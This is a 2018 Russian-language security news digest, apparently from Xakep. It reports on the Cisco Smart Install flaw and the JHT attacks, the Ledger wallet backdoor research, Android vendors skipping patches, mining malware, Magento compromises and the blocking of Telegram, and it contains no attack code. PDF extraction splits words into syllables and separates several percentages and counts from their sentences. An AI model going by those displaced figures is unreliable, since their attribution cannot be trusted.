Уяз вимость свя зана с некор рек тной валида цией пакетов в  кли енте Cisco
Smart Install (SMI). Так как раз работ чики Cisco уже выпус тили пат чи для обна‐ 
ружен ного бага, иссле дова тели опуб ликова ли не толь ко опи сание проб лемы,
но и proof‐of‐concept экс пло ит. Для экс плу ата ции этой проб лемы ата кующе му
дос таточ но обра тить ся к TCP‐пор ту 4786, который открыт по умол чанию, что
в  ито ге  ста вит  уяз вимые  ком мутато ры Cisco  перед  угро зой  неаутен тифици‐ 
рован ной RCE‐ата ки.

Кро ме  того,  экспер ты  Cisco  Talos  опуб ликова ли  пре дуп режде ние,  так же
свя зан ное  с SMI,  одна ко  не  име ющее отно шения  к  упо мяну той  уяз вимос ти.
Спе циалис ты  пре дуп режда ли,  что  пра витель ствен ные  хакеры  ата куют  неп‐ 
равиль но  скон фигури рован ные  устрой ства  Cisco.  По  дан ным  ком пании,
адми нис тра торы зачас тую не отклю чают про токол Smart Install дол жным обра‐ 
зом, в резуль тате чего  устрой ства пос тоян но находят ся в режиме ожи дания
новых  команд  на  уста нов ку  и  кон фигура цию.  Так,  мас совые  ска ниро вания,
приз ванные  обна ружить  ком мутато ры  с  откры тыми  пор тами  4786,  начались
еще в фев рале 2017  года, прек ратились в октябре 2017‐го,  а  затем возоб‐ 
новились текущей вес ной.

В час тнос ти, ана лити ки Cisco Talos ссы лались на недав нее 
, в котором сооб щалось, что свя зан ные с рос сий ски ми влас тями

хак‐груп пы, извес тные под кодовы ми име нами Dragonfly, Crouching Yeti и En‐
ergetic Bear, пыта ются ата ковать объ екты клю чевой инфраструк туры США.

пре дуп режде‐ 
ние US‐CERT

Как ока залось, ИБ‐экспер ты пре дуп режда ли об опас ности  .
Хакер ская груп па, судя по все му называ ющая себя JHT, ата кова ла уяз вимые
устрой ства  Cisco,  сос редото чив  свои  уси лия  на  Ира не  и  Рос сии.  Одни ми
из пер вых на про исхо дящее обра тили вни мание спе циалис ты «Лабора тории
Кас пер ско го».

сов сем не зря

«Некая груп пиров ка исполь зует уяз вимость в прог рамме под наз вани- 
ем  Cisco  Smart  Install  Client,  что бы  получить  воз можность  исполнять
про изволь ный  код  на  устрой стве.  Зло умыш ленни ки  переза писы вают
образ сис темы Cisco IOS и меня ют кон фигура цион ный файл, оставляя
в  нем  пос лание  „Do  not  mess  with  our  elections“  („Не  вме шивай тесь
в наши выборы“)», — сооб щили ана лити ки «Лабора тории Кас пер ско го»
и  про иллюс три рова ли  свои  сло ва  скрин шотом,  который  мож но  уви- 
деть ниже.

Do not mess with our elections

Эк спер ты  пред положи ли,  что  ата кующие  исполь зуют  для  поис ка  уяз вимых
девай сов поис ковик Shodan или даже собс твен ную ути литу Cisco. По дан ным
Cisco  Talos,  таким  обра зом  мож но  обна ружить  более  168  тысяч  устрой ств
с активным SMI, и проб лем с выбором целей у зло умыш ленни ков опре делен‐ 
но не воз никло.

По дан ным Reuters, иран ское Минис терс тво информа цион но‐ком муника‐ 
цион ных тех нологий нас читало более 200 тысяч пос тра дав ших от атак устрой‐ 
ств по все му миру, из которых 3500 находят ся на тер ритории Ира на.

Жур налис там  изда ния  Vice  Motherboard  и  вов се  уда лось  свя зать ся
с хакера ми по ука зан ному в их сооб щени ях email‐адре су и задать нес коль ко
воп росов.  Ата кующие  утвер жда ют,  что  «прос то  хотели  пос лать  сооб щение»
и  ата кова ли  Рос сию  и  Иран  в  ответ  на  мно гочис ленные  ата ки  со  сто роны
«пра витель ствен ных  хакеров» этих стран  (на США и не  толь ко). Кро ме  того,
зло умыш ленни ки  заяви ли,  что  ска ниро вали  и  дру гие  стра ны,  но  в  США
и  Великоб ритании  исполь зовали  коман ду  no  vstack,  отклю чая  Smart  Install
и таким обра зом защищая ранее уяз вимые ком мутато ры.

СЛУ ЧАЙ НЫЕ DDOS‐АТА КИ — ПРОБ ЛЕМА ДЛЯ БИЗ НЕСА
Эк спер ты  «Лабора тории  Кас пер ско го»  под счи тали,  что  каж дая  пятая  ком пания  в  Рос сии  ста‐ 
новит ся жер твой DDoS‐атак слу чай но. Иссле дова ние было про веде но сов мес тно с ком пани ей
B2B  International, и в опро се при няли учас тие более 5200  IT‐спе циалис тов из 29 стран мира,
вклю чая Рос сию.

 рес понден тов отме тили,  что их орга низа ция не была пря мой целью DDoS‐ата ки, но все
рав но пос тра дала.
21%

При  этом    ком паний  до  сих  пор  не  исполь зуют  никакой  защиты  от  DDoS,  потому  что
полага ют, что они не пред став ляют инте реса для зло умыш ленни ков.

34%

В  2017  году    рос сий ских  ком паний  стал кивались  имен но  с  DDoS‐ата ками.  В  2016  году
этот показа тель был в два раза ниже —  .

42%
22%

 опро шен ных уве рены, что DDoS‐ата ка про водит ся, что бы нарушить нор маль ную опе раци‐ 
онную  деятель ность  ком пании.  Еще    счи тают,  что  это  про иски  кон курен тов.    рес‐ 
понден тов полага ют, что DDoS исполь зует ся для отвле чения вни мания IT‐служб от дру гих атак,
которые нап равле ны на ком панию в это же вре мя.

31%
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ПОДРОСТОК
ВЗЛОМАЛ
КОШЕЛЬКИ LEDGER
Фран цуз ская  ком пания  Ledger,  про изво дящая  одно имен ные  аппа рат ные
кошель ки  для  хра нения  крип товалю ты,  всег да  демонс три рова ла  завид ную
уве рен ность в защищен ности сво ей про дук ции. Механизм «крип тогра фичес‐ 
кой  аттеста ции»,  который  исполь зуют  про дук ты  Ledger,  яко бы  стоп роцен тно
защища ет  поль зовате лей  от  под делок,  так  как  на  кошель ке  может  быть
запущен толь ко авто ризо ван ный код.

Ком пания Ledger так гор дится защищен ностью сво их устрой ств, что
не зак леивает короб ки спе циаль ными сти кера ми, сиг нализи рующи ми
о вскры тии

В 2015 году пред ста вите ли Ledger и вов се утвер жда ли, что ата кующие ни за
что не суме ют под менить или модифи циро вать про шив ку аппа рат ных кошель‐ 
ков и прой ти аттеста цию, не зная при ват ного клю ча. В свя зи с этим раз работ‐ 
чики сооб щали,  что  кошелек Ledger мож но без опа сений при обре тать даже
на eBay.

Од нако  заяв ления  о  пол ной  безопас ности  про дук ции  Ledger 
 15‐лет ним под рос тком из Великоб ритании по име ни

Салим  Рашид  (Saleem  Rashid).  В  сво ем  лич ном  бло ге  Рашид  опуб ликовал
под робный матери ал, пос вящен ный ком про мета ции устрой ств Ledger Nano S
и Ledger Blue.

бы ли  пос‐ 
тавле ны под сом нение

Ви деоде монс тра цию ата ки мож но уви деть ниже.

Ра шид опи сал и про демонс три ровал в работе proof‐of‐concept экс пло ит, поз‐ 
волив ший  ему  уста новить  на  устрой ства  незамет ный  бэк дор,  объ емом  все‐ 
го 300 байт. Ата ку мож но отнести к типу evil maid — «злая гор ничная», то есть
ата кующий  дол жен  иметь  хотя  бы  бег лый  физичес кий  дос туп  к  устрой ству,
как гор ничная, уби рающая номер в мотеле.

Пос ле  ком про мета ции  и  уста нов ки  бэк дора  устрой ство  генери рует
заранее задан ные адре са кошель ков и вос ста нав лива ет пароли таким обра‐ 
зом,  что  они  извес тны  ата кующе му.  В  резуль тате  зло умыш ленник  смо жет
выпол нять самые раз ные про тиво закон ные дей ствия, в том чис ле пере адре‐ 
совать любой крип товалют ный пла теж на собс твен ный адрес.

Ра шид  обна ружил  проб лему  еще  в  нояб ре  2017  года  и  уве домил  о  ней
раз работ чиков.  В  мар те  2018  года  раз работ чики  Ledger  выпус тили  патч
для модели Nano S. При этом дирек тор по безопас ности Ledger под чер кнул,
что  исправ ленная  проб лема  не  была  кри тичес кой,  а  ата ка  не  поз воляла
извлечь при ват ные клю чи или seed.

Так же раз работ чики писали, что сро ки выхода пат ча для Ledger Blue пока
неиз вес тны,  но  завери ли,  что  бэк дор  Рашида  обна ружи вает ся  при  под клю‐ 
чении  устрой ств  Ledger  к  сер верам  ком пании  (для  заг рузки  при ложе ний
или обновле ния про шив ки). Одна ко раз верну тый отчет иссле дова теля, опуб‐ 
ликован ный  уже  пос ле  выхода  исправ ления,  доказал,  что  пред ста вите ли
Ledger не сов сем пра вы.

Ра шид  объ ясня ет,  что  еще  не  про верял,  ней тра лизу ет  ли  све жий  патч
для Nano S обна ружен ную им проб лему, но он сом нева ется в том, что бэк дор
нель зя будет  адап тировать  для работы  с  про пат ченны ми  кошель ками. Дело
в том, что проб лема, по сути, носит аппа рат ный харак тер.

Так,  устрой ства  Ledger  Blue  и  Nano  S  уком плек тованы  мик рокон трол‐ 
лерами  ST31H320  про изводс тва  ком пании  STMicroelectronics.  Имен но  с  их
помощью  кошель ки  осу щест вля ют  крип тогра фичес кую  аттеста цию,  и  ком‐ 
пания  называ ет  этот  ком понент  Secure  Element.  Но  защищен ный мик рокон‐ 
трол лер  не  под держи вает  дис плеи,  USB‐под клю чения  и  опе рации,  тре‐ 
бующие высокой про пус кной спо соб ности. Из‐за это го инже неры  ком пании
были  вынуж дены  добавить  устрой ствам  еще  один  мик рокон трол лер,
STM32F042K6,  который  выс тупа ет  сво еоб разным  прок си  и  носит  наз вание
MCU.

Схе ма работы MCU

MCU слу жит про межу точ ным зве ном меж ду «железом» кошель ка и Secure Ele‐
ment,  обща ясь  с  USB‐хос том,  встро енным  дис пле ем,  а  так же  кноп ками
устрой ства. Бэк дор Рашида вынуж дает MCU демонс три ровать Secure Element
исходную, «чис тую» про шив ку, тог да как на самом деле код зло умыш ленни ка
зас тавля ет MCU тай но выпол нять самые раз ные нелеги тим ные дей ствия.

Ра боту Рашида уже изу чили извес тные ИБ‐экспер ты, которые сог ласились
с вывода ми молодо го иссле дова теля. Так, про фес сор крип тогра фии из Уни‐ 
вер ситета Джон са Хоп кинса Мэтт Грин (Matt Green) пишет:

«[Раз работ чики]  Ledger  пыта ются  решить фун дамен таль ную  аппа рат- 
ную  проб лему.  Им  нуж но  про верять  про шив ку,  работа ющую  на  про- 
цес соре. Но их защищен ный чип нес пособен уви деть код, запущен ный
на этом про цес соре. Поэто му они вынуж дены про сить про цес сор пре- 
дос тавить  собс твен ный  код!  Но  это  зам кну тый  круг,  так  как  дан ный
про цес сор  может  работать  с  недоб росовес тным  кодом,  и,  сле дова- 
тель но,  его  отве там  нель зя  верить.  Это  все  рав но,  что  поп росить
челове ка,  который может быть  прес тупни ком,  пре дос тавить  все дан- 
ные о кри миналь ном прош лом: сис тема, пос тро енная на доверии».

 

 

→ «Ни одна раз витая стра на не бло киру ет мес сен дже ры за отказ выдать спец служ бам клю чи
шиф рования.  Отме на  пра ва  на  кон фиден циаль ность  —  лекарс тво,  которое  опас нее  самой
болез ни. Как  толь ко  некая  служ ба  получа ет  воз можность  бес кон троль но  монито рить  лич ную
перепис ку  граж дан,  очень  ско ро  этот  дос туп  ока зыва ется  в  руках  у  треть их  сто рон  —  взят‐ 
кодате лей, хакеров, аген тов дру гих государств. В резуль тате тре бова ние пре дос тавить уни вер‐ 
саль ные пути обхо да шиф рования через выдачу „клю чей“ сни жает информа цион ную безопас‐ 
ность как элит, так и общес тва в целом»
— Павел Дуров о попыт ках Рос комнад зора бло киро вать Telegram и полови ну интерне та

Продолжение статьи →

https://xakep.ru/2018/04/11/webauthn-almost-here/
https://xakep.ru/2018/04/06/smi-rce/
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://xakep.ru/2018/04/09/do-not-mess-with-our-elections/
https://xakep.ru/2018/03/22/ledger-backdoor/
https://www.youtube.com/watch?v=3poUPY-VpSI


 Начало статьи←

НИКАКОГО ДАРКНЕТА
НА REDDIT
Пос ле  про дол житель ных  обсужде ний  адми нис тра ция  Reddit  внес ла  изме‐ 
нения в content policy ресур са, зап ретив про водить на Reddit сдел ки, свя зан‐ 
ные с раз личны ми нелегаль ными товара ми и сер висами. Под зап рет попали:
ору жие, нар котики  (вклю чая алко голь и табак), кра деное иму щес тво, лич ные
дан ные, фаль шивые докумен ты,  а  так же плат ные сер висы,  пред полага ющие
физичес кий сек суаль ный кон такт.

Так как новые пра вила уже всту пили в силу, пер выми ока зались забане ны
сооб щес тва  (или,  как  их  называ ют  здесь,  саб редди ты),  пос вящен ные  тор‐ 
говым пло щад кам в дар кне те: /r/DarkNetMarkets, r/xanaxcartel, r/DNMSuperlist
и r/HiddenService.

Сто ит  отме тить,  что  сооб щес тво  DarkNetMarkets  всег да  вызыва ло  мно го
спо ров  и,  в  сущ ности,  было  одним  из  круп ней ших  в  интерне те  мест  сбо ра
нар котор говцев,  хакеров  и  про чих  кибер прес тупни ков,  а  так же  их  кли ентов.
Имен но  здесь  пос ле  лик видации  таких  извес тных  мар кет плей сов,  как  Silk
Road  и  Alphabay,  раз ворачи вались  бур ные  обсужде ния,  поль зовате ли
делились мне ниями о том, куда теперь перей дет тор говля, а кли енты иска ли
сво их пос тоян ных дилеров. Здесь же обсужда ли «кидал», качес тво при обре‐ 
тен ных товаров и про веден ные сдел ки.

Хо тя  на  Reddit  уже  появил ся  ряд  новых  сооб ществ,  пос вящен ных  дар‐ 
кнет‐мар кет плей сам, вряд ли они про дер жатся дол го — теперь адми нис тра‐ 
ция сай та может заб локиро вать их при пер вых приз наках наруше ний.

МИЛ ЛИОНЫ ДОЛ ЛАРОВ ЧЕРЕЗ СКРЫ ТЫЙ МАЙ НИНГ
Спе циалис ты «Лабора тории Кас пер ско го» под готови ли док лад, озаг лавлен ный Mining is the new
black  («Май нинг —  хит  сезона»),  пос вящен ный  рас тущей  популяр ности май нин говой мал вари
сре ди  прес тупни ков.  Поль зовате ли  все  чаще  ста новят ся  жер тва ми  рек ламно го  и  пират ско го
прог рам мно го обес печения, кон тра фак тных игр, которые активно исполь зуют ся прес тупни ками
для скры того зараже ния компь юте ров май нерами.

В  2017  году  ата кам  май неров  под вер глись    мил лиона  поль зовате лей.  Это  поч ти
на   боль ше, чем в 2016 году (  поль зовате лей).
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При  этом    прес тупни ков  исполь зуют  легитим ные  опен сор сные  май неры  и  поль зуют ся
услу гами извес тных май нин говых пулов. Чаще все го зло умыш ленни ки пред почита ют работать
с Nanopool.

80%

По дан ным ана лити ков,  толь ко  за пос ледние шесть месяцев 2017  года прес тупни ки  «зарабо‐ 
тали»  таким  обра зом  нес коль ко  мил лионов  дол ларов.  Май неры,  по  сути,  приш ли  на  сме ну
вымога тель ско му ПО и име ют схо жие механиз мы монети зации.

Так, шиф роваль щик заража ет сис тему, шиф рует фай лы, и прес тупни ки получа ют от жер твы
выкуп.  В  слу чае  с  май нером  мал варь  так же  заража ет  сис тему,  исполь зует  мощ ности  CPU
или  GPU  жер твы  для  «добычи»  крип товалю ты,  а  прес тупни ки  получа ют  при быль.  В  конеч ном
сче те  зло умыш ленни кам оста ется  лишь  вос поль зовать ся  услу гами обменни ка,  кон верти ровав
крип товалю ту в живые день ги.

Схе ма монети зации

ПАТЧИ, КОТОРЫХ НЕ
БЫЛО
Из вес тные  ИБ‐экспер ты,  спе циалис ты  Security  Research  Labs  Кар стен  Нол
(Karsten  Nohl)  и  Якоб  Лелл  (Jakob  Lell)  пред ста вили  инте рес ный  док лад
на  кон ферен ции  Hack  In  The  Box.  Иссле дова тели  ,  что  мно гие
круп ные про изво дите ли устрой ств на Android, в том чис ле ком пании Samsung,
Xiaomi, OnePlus, Sony, HTC, LG, ZTE и Huawei, лишь соз дают видимость выхода
пат чей, тог да как на самом деле мно гие баги оста ются неис прав ленны ми.

об наружи ли

Проб лема  обновле ния  Android‐устрой ств  всег да  сто яла  очень  остро.
В  нас тоящее  вре мя  раз работ чики  Google  каж дый  месяц  выпус кают  набор
обновле ний  безопас ности  для  сво ей ОС,  далее  эти  пат чи  попада ют  в  руки
про изво дите лей  мно гочис ленных  устрой ств,  а  те  дол жны  самос тоятель но
адап тировать  пат чи  для  сво их  про дук тов  и  донес ти  их  до  конеч ных  поль‐ 
зовате лей.  К  сожале нию,  фраг мента ция  рын ка  по‐преж нему  велика,  а  вен‐ 
доры  по‐раз ному  отно сят ся  к  сво им  обя зан ностям.  Из‐за  это го  мно гие
устрой ства не получа ют важ ных обновле ний вов се.

Це поч ка, которую про ходят обновле ния до конеч ного поль зовате ля

Нол  и  Лелл,  одна ко,  обна ружи ли,  что  и  без  того  выг лядящее  печаль но
положе ние  вещей  на  самом  деле  еще  хуже.  На  про тяже нии  двух  лет  спе‐ 
циалис ты  тща тель но  ана лизи рова ли  сос тав  обновле ний  безопас ности,
выпус каемых  круп ней шими  про изво дите лями  устрой ств  на  базе  Android,
и про дела ли огромную работу, изу чив свы ше 1200 смар тфо нов.

Как  показа ло  иссле дова ние,  мно гие  про изво дите ли  хит рят  во  вре мя
выпус ка  обновле ний.  Хотя  они  утвер жда ют,  что  их  устрой ства  получи ли  все
акту аль ные пат чи, это ложь, так как некото рые исправ ления по неиз вес тным
при чинам  «выпада ют»  из  спис ков  и  в  ито ге  вооб ще  не  доходят  до  поль‐ 
зовате лей,  о  чем  те  даже  не  могут  узнать.  Экспер ты  объ ясня ют,  что  порой
некото рые пат чи не получа ют даже устрой ства Pixel.

«Иног да  эти  ребята  прос то  изме няют  дату,  не  уста нав ливая  никаких
пат чей.  Видимо,  дело  в  мар кетин ге,  они  прос то  ста вят  уро вень
обновле ний на про изволь ную дату,  которая выг лядит луч ше все го, —
рас ска зали экспер ты. — Мы обна ружи ли, что некото рые про изво дите- 
ли не уста нови ли ни еди ного пат ча, но меняли даты выхода обновле- 
ний на про тяже нии мно гих месяцев».

Ча ще все го проб лема носит менее мас штаб ный харак тер. Так, на боль шинс‐ 
тве устрой ств Sony и Samsung может не хва тать лишь пары обновле ний, что
может быть прос той слу чай ностью. Одна ко в некото рых слу чаях все обсто ит
гораз до хуже. Так, смар тфо ны J3, выпущен ные Samsung в 2016 году, дол жны
иметь все обновле ния безопас ности за 2017 год, но на самом деле 12 пат чей
не хва тает, при чем два исправ ления кри тичес кие.

Не кото рых пат чей не хва тает

При  этом  Нол  и  Лелл  объ ясня ют,  что  зачас тую  «бутылоч ным  гор лышком»
на пути обновле ний ста новят ся про изво дите ли чип сетов, а не сами изго тови‐ 
тели  смар тфо нов.  К  при меру,  ком пания Mediatek  зачас тую  «забыва ет»  о  9–
10 пат чах, которые выходят зна читель но поз же заяв ленных дат.

В целом ана лити ки Security Research Labs приш ли к сле дующим выводам
отно ситель но круп ных про изво дите лей:

 про пущен ный патч: Google, Sony, Samsung, Wiko Mobile;• 0–1

 про пущен ных пат ча: Xiaomi, OnePlus, Nokia;• 1–3

 про пущен ных пат ча: HTC, Huawei, LG, Motorola;• 3–4

 про пущен ных пат ча: TCL, ZTE.• 4 и более

Для  про вер ки  устрой ств  на  пред мет  уста нов ленных  пат чей  иссле дова тели
соз дали  спе циаль ное  бес плат ное  при ложе ние  ,  которое  поз‐ 
воля ет узнать, какие исправ ления на самом деле уста нов лены на устрой стве.

SnoopSnitch

 ЧЕЛОВЕК ИСПОЛЬ ЗОВАЛИ ФЕЙ КОВЫЕ АНТИ ‐
ВИРУ СЫ
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Ана лити ки ESET обна ружи ли в Google Play сра зу   рек ламных при ложе ний, замас кирован ных
под анти виру сы. Сум марно под делки заг рузили око ло   человек. Иссле дова тели пре‐ 
дуп режда ют, что для вве дения поль зовате лей в заб лужде ние рек ламные при ложе ния ими тиру‐ 
ют  нас тоящие  про дук ты  для  безопас ности,  то  есть  фаль шивые  анти виру сы  в  какой‐то  мере
дей стви тель но работа ют.
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Од нако «механиз мы детек тирова ния» фаль шивых анти виру сов при митив ны и непол ны, что при‐ 
водит  к  пос тоян ным  лож ным  сра баты вани ям,  а  нас тоящее  вре донос ное  ПО  лег ко  избе жит
обна руже ния.  Под делки  не  име ют  фун кци ональ нос ти  шиф роваль щиков,  бан керов  или  дру гих
вре донос ных  воз можнос тей,  но  меша ют  поль зовате лям  лож ными  сра баты вани ями  и  показом
рек ламы, а так же соз дают неоп равдан ное ощу щение безопас ности.

ВАШ ANDROID НЕ
СЕРТИФИЦИРОВАН
Ком пания  Google    несер тифици рован ным  устрой ствам
в дос тупе к сво им при ложе ниям и сер висам.

на чала  отка зывать

Де ло  в  том,  что  исходный  код  Android  Open  Source  Project  бес плат ный
и  опен сор сный,  фак тичес ки  им  могут  поль зовать ся  все  жела ющие.  Одна ко
сер висы  и  офи циаль ные  при ложе ния  Google  (такие  как  Play  Store,  Gmail,
Google  Maps)  «в  ком плект»  не  вхо дят  и  сво бод ными  не  явля ются.  Google
лицен зиру ет эти при ложе ния для про изво дите лей устрой ств, которые, в свою
оче редь, в ответ дол жны выпол нить ряд  тре бова ний ком пании. В час тнос ти,
кол лекция  дефол тных  при ложе ний  для  Android  дол жна  пос тавлять ся  толь ко
вся и пол ностью, при ложе ния соот ветс тво вать опре делен ным усло виям раз‐ 
мещения, а так же само устрой ство, на которое при ложе ния уста нав лива ются,
дол жно соот ветс тво вать длин ному спис ку тре бова ний к сов мести мос ти.

Про изво дите ли,  чьи  гад жеты  не  прош ли  такую  сер тифика цию,  не  име ют
пра ва исполь зовать тор говую мар ку Android и, по сути, работа ют с фор ками
ОС Google. Наибо лее извес тным фор ком такого рода мож но наз вать устрой‐ 
ства ком пании Amazon (в час тнос ти, серию Kindle Fire). К тому же боль шинс‐ 
тво китай ских гад жетов тоже работа ют на базе фор ков Android.

И  хотя  офи циаль но  при ложе ния  Google  могут  рас простра нять ся  лишь
в  пре дус танов ленном  на  устрой ство  виде,  пря мо  «из  короб ки»,  они  так же
сво бод но  дос тупны  в  Сети,  на  мно жес тве  форумов,  сай тах  кас томных  про‐ 
шивок,  в  сто рон них  катало гах  при ложе ний  и  так  далее.  Таким  обра зом,
при  желании  любой  поль зователь  и  даже  про изво дитель,  не  про шед ший
«сер тифика цию», может уста новить при ложе ния Google на свой гад жет.

По  дан ным  изда ния  XDA  Developers,  с  середи ны  мар та  2018  года  раз‐ 
работ чики  Google  начали  бороть ся  с  таким  поведе нием  более  агрессив но.
Теперь  попыт ка  уста новить  офи циаль ные  при ложе ния  Google  на  несер‐ 
тифици рован ное  устрой ство  обо рачи вает ся  ошиб кой.  Google  поп росту
не поз воля ет залоги нить ся в свои сер висы во вре мя уста нов ки, сооб щая, что
дан ное устрой ство не про ходи ло сер тифика цию.

Скром ное пре дуп режде ние от Google

Ва риан тов решения проб лемы поль зовате лю пред лага ют нем ного — в сущ‐ 
ности, рядово му юзе ру оста ется лишь жаловать ся про изво дите лю. Впро чем,
как  мож но  уви деть  на  иллюс тра ции  выше,  в  самом  низу  сооб щения  все  же
есть  опция  для  поль зовате лей  кас томных  Android‐про шивок.  Google  пред‐ 
лага ет зарегис три ровать такие устрой ства по адре су g.co/androiddeviceregis‐
tration, при вязав их к сво ему акка унту Google. Прав да, для это го пот ребу ется
ввес ти  уни каль ный  иден тифика тор  (Android  ID)  гад жета,  что,  к  сожале нию,
может  стать  проб лемой  для  непод готов ленных  поль зовате лей.  Android  ID
уста нав лива ется при пер вом запус ке устрой ства (и генери рует ся заново пос‐ 
ле сбро са к завод ским нас трой кам), пред став лен в шес тнад цатерич ном (hex)
виде, и уви деть его мож но лишь при помощи спе циаль ных ути лит.

Еще одной проб лемой может стать тот факт, что вруч ную Google поз воля‐ 
ет  зарегис три ровать  мак симум  100  устрой ств  на  одно го  поль зовате ля.  То
есть  любите ли  экспе римен тировать,  менять  про шив ки  и  устрой ства  могут
исчерпать  этот  лимит  и  в  ито ге  оста нут ся  без  офи циаль ных  при ложе ний
Google.

БО ЛЕЕ   САЙ ТОВ НА MAGENTO ВЗЛО МАНЫ
И ЗАРАЖЕ НЫ

1000

Спе циалис ты  Flashpoint  пре дуп редили  о  ком про мета ции  более    сай тов,  работа ющих
под управле нием Magento. Зло умыш ленни ки не толь ко похища ют дан ные о бан ков ских кар тах
поль зовате лей  этих  ресур сов,  но  и  заража ют  сай ты  вре донос ными  скрип тами,  в  том  чис ле
для май нин га крип товалю ты, или исполь зуют сай ты для хра нения дру гих вре доно сов.

1000

Мас совый  взлом  —  вов се  не  следс твие  какой‐либо  уяз вимос ти  в  популяр ном  решении
для элек трон ной  ком мерции. Боль шая  часть ресур сов  взло мана пос редс твом обыч ного брут‐ 
форса, то есть прес тупни ки под бирали учет ные дан ные к акка унтам адми нис тра торов, переби‐ 
рая  наибо лее  рас простра нен ные  сочета ния  и  ком бинации  по  умол чанию. Помимо  ,
похожим ата кам под верга ются   и  .

Magento
Powerfront CMS OpenCart

https://xakep.ru/2018/04/16/android-patches/
https://play.google.com/store/apps/details?id=de.srlabs.snoopsnitch&hl=en
https://xakep.ru/2018/03/27/google-blocks-gapps/
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Про тивос тояние  Рос комнад зора  и  мес сен дже ра  Telegram,
берущее  начало  еще  в  прош лом  году,  про дол жает ся.  Хотя
с  16  апре ля  2018  года  Рос комнад зор  начал  огра ничи вать
дос туп к мес сен дже ру на тер ритории Рос сии, для боль шинс‐ 
тва  поль зовате лей  Telegram  по‐преж нему  дос тупен
без исполь зования VPN и прок си, чего нель зя ска зать о дру‐ 
гих ресур сах и сер висах. Под водим про межу точ ные ито ги.

ЧТО ПРОИСХОДИТ?
13 апре ля 2018 года в Таган ском суде города Мос квы сос тоялось слу шание
дела о бло киров ке Telegram. Суд  , что необ ходимо уста новить огра‐ 
ниче ние дос тупа к мес сен дже ру на тер ритории Рос сии, при чем судья под чер‐ 
кну ла,  что  решение  под лежит  немед ленно му  исполне нию.  С  понедель ника,
16 апре ля 2018 года, Рос комнад зор   бло киро вать работу мес‐ 
сен дже ра.  Одна ко  спус тя  пол торы  недели  пос ле  начала  этой  активнос ти
Telegram по‐преж нему дос тупен без исполь зования VPN и прок си, чего нель‐ 
зя ска зать о дру гих ресур сах и сер висах.

зак лючил

на чал попыт ки

Крат кая пре дыс тория
Про тивос тояние ком пании Telegram Messenger LLP с рос сий ски ми над зорны‐ 
ми  орга нами  началось  еще  в  прош лом  году.  Напом ню,  что  Telegram 

  в  реес тре  орга низа торов  рас простра нения  информа ции
летом 2017 года (пос ле про дол житель ного скан дала), но тог да Павел Дуров
под черки вал,  что  ком пания  тем  самым  не  берет  на  себя  никаких  допол‐ 
нитель ных  обя затель ств  и  не  собира ется  пре дос тавлять  кому‐либо  дос туп
к перепис ке поль зовате лей.

был
зарегис три рован

В ито ге 16 октября 2017 года мировой судья Мещан ско го рай она Мос квы
Юлия  Даниль чик    Telegram  на  800  000  руб лей
за  совер шение  адми нис тра тив ного  пра вона руше ния:  отказ  передать  ФСБ
клю чи  шиф рования  от  перепис ки  поль зовате лей.  800  000  руб лей  —
это  минималь ное  наказа ние,  пре дус мотрен ное  в  статье  13.31  (часть  2.1)
КоАП  РФ  (Неис полне ние  орга низа тором  рас простра нения  информа ции
в  сети  «Интернет»  обя зан ности  пре дос тавлять  в  федераль ный  орган
исполни тель ной  влас ти  в  области  обес печения безопас ности  информа цию,
необ ходимую  для  декоди рова ния  при нима емых,  переда ваемых,  дос тавля‐ 
емых и (или) обра баты ваемых элек трон ных сооб щений).

ош тра фова ла  мес сен джер

Пос ле  это го  Telegram  Messenger  LLP  заручи лась  под дер жкой  юрис тов
меж дународ ной  пра воза щит ной  груп пы  «Аго ра»  и  обра тилась  в  суд  с  тре‐ 
бова нием приз нать незакон ным при каз ФСБ от 19 июля 2016 года № 432 (Об
утвер жде нии  поряд ка  пред став ления  орга низа тора ми  рас простра нения
информа ции  в  информа цион но‐телеком муника цион ной  сети  «Интернет»
в Федераль ную  служ бу  безопас ности  Рос сий ской Федера ции  информа ции,
необ ходимой  для  декоди рова ния  при нима емых,  переда ваемых,  дос тавля‐ 
емых  и  (или)  обра баты ваемых  элек трон ных  сооб щений  поль зовате лей
информа цион но‐телеком муника цион ной сети «Интернет»).

Ком пания  попыта лась  доказать,  что  дан ный  при каз  про тиво речит  закону
об информа ции, закону о ФСБ, а так же был при нят неупол номочен ным орга‐ 
ном  с  пре выше нием  пол номочий.  20  мар та  2018  года  Telegram 
этот  про цесс,  пос ле  чего  пред ста вите ли  Рос комнад зора  обра тились  в  суд
с  тре бова нием  о  бло киров ке.  Как  уже  было  ска зано  выше,  13  апре‐ 
ля  2018  года  Таган ский  суд  города  Мос квы  при нял  решение  бло киро вать
мес сен джер,  при чем  судья  Смо лина  под чер кну ла,  что  решение  под лежит
немед ленно му исполне нию.

про игра ла

16  апре ля  Рос комнад зор  прис тупил  к  мас совым  бло киров кам  IP‐адре сов
ком паний  Amazon  и  Google.  В  сущ ности,  в  более  мас штаб ном  виде  пов‐ 
торилась  , недав но воз никшая из‐за интернет‐рации Zello. Напом ню,
что  тог да раз работ чики Zello при бега ли  к исполь зованию услуг Amazon Web
Service, пос тоян но меняя адре са, что бы избе жать бло киро вок. В ито ге Рос‐ 
комнад зор  начал  бло киро вать  адре са  AWS,  и  пред ста вите ли  Amazon  поп‐ 
росили  Zello  прек ратить  исполь зовать  Amazon  AWS  для  подоб ной  деятель‐ 
нос ти.

си туация

Те перь  из‐за  ана логич ной  активнос ти  Telegram  под  бло киров ку  попали
мил лионы  адре сов,  при над лежащих  ком пани ям  Amazon,  Google,  Microsoft,
круп ным хос тинг‐про вай дерам Digital Ocean, Hetzner, OVH и так далее (отсле‐ 
живать выг рузку бло киру емых  IP мож но  ,  соз данном энту зиас‐ 
тами).

на этом сай те

Хо тя мас совые бло киров ки поч ти не ска зыва ются на работе Telegram, они
пред ска зуемо меша ют фун кци они рова нию дру гих сай тов, сис тем и сер висов.
К  при меру,  прак тичес ки  сра зу  пос ле  начала  бло киро вок  в  Viber 

  голосо вые  звон ки.  Но  пред ста вите ли  регуля тора  сооб щили,  что
будут про дол жать дей ство вать, как зап ланиро вано:

пе рес тали
работать

«Рос комнад зор при нима ет и будет при нимать все необ ходимые меры
для выпол нения решения суда, в том чис ле свя зан ные с огра ниче нием
дос тупа  к  интернет‑ресур сам,  спо собс тву ющим  фун кци они рова нию
сер висов ком пании Telegram Messenger Limited Liability Partnership», —

 в пресс‑служ бе Рос комнад зора.го ворят

КТО ПОСТРАДАЛ ОТ БЛОКИРОВОК?
